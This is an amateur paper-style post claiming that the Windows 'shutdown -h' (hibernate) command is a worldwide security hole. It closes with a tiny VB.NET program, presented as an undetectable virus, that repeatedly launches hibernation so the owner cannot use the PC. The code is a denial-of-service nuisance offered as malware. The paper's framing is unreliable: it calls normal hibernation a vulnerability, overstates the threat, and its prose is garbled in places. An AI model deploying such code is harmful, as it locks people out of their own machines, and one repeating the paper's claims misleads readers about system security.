Windows millennium Security Hole Windows millennium Security Hole

Windows millennium Security Hole Abstract People download software and shareware they don’t know the code behind and the risk they take (Viruses, Trojans, worms etc.) by downloading such softwares. This electronic document is to show that we can exploit DOS command (shutdown –h )in Window OS (2000/XP/7/8/10) to obtain a DOS ( Denial of service) Well a denial of all the services as your windows pc is intact but you can’t make use of it anymore. Keywords Virus, Windows OS, DOS command, DOS (denial of service), system security 1. Introduction At the first time I was writing a VB app to save electricity energy windows pc's consumption as people leave their pc running and they can run shutdown -h to save electricity. I don’t want to be considered as a hacker but my goal is to make people aware about shareware and software they install and they don't know the risk they take. The code I wrote below shows that we can exploit the command shutdown -h in a manner that people can't access their windows pc anymore the purpose is to show that an urgent world wide security patch for windows2000/XP/7/8/10 is compulsory. 2. The DOS command 2.1. Shutdown First, I want you as a windows user (2000/XP/7/8/10) to launch a command DOS which is shutdown –h and notice what happen. Now try to restart your pc once again all your work is recovered!! Think if you leave your pc for a moment but before leaving you launch this command then you will save electricity energy wasted for nothing before. But there is a But there is a threat. 2.2. The millennium threat Below the most simple virus code and there is no pattern to detect it, it is an international security threat as it works for windows2000/XP/7/8/10 and so on It is a tiny vb.net app : --------------------------------------------------------------------------------------------------------------------Imports System.Runtime.InteropServices Module Module1 Sub Main() Dim process As Process = process.Start("cmd","/C shutdown -h") Main() End Sub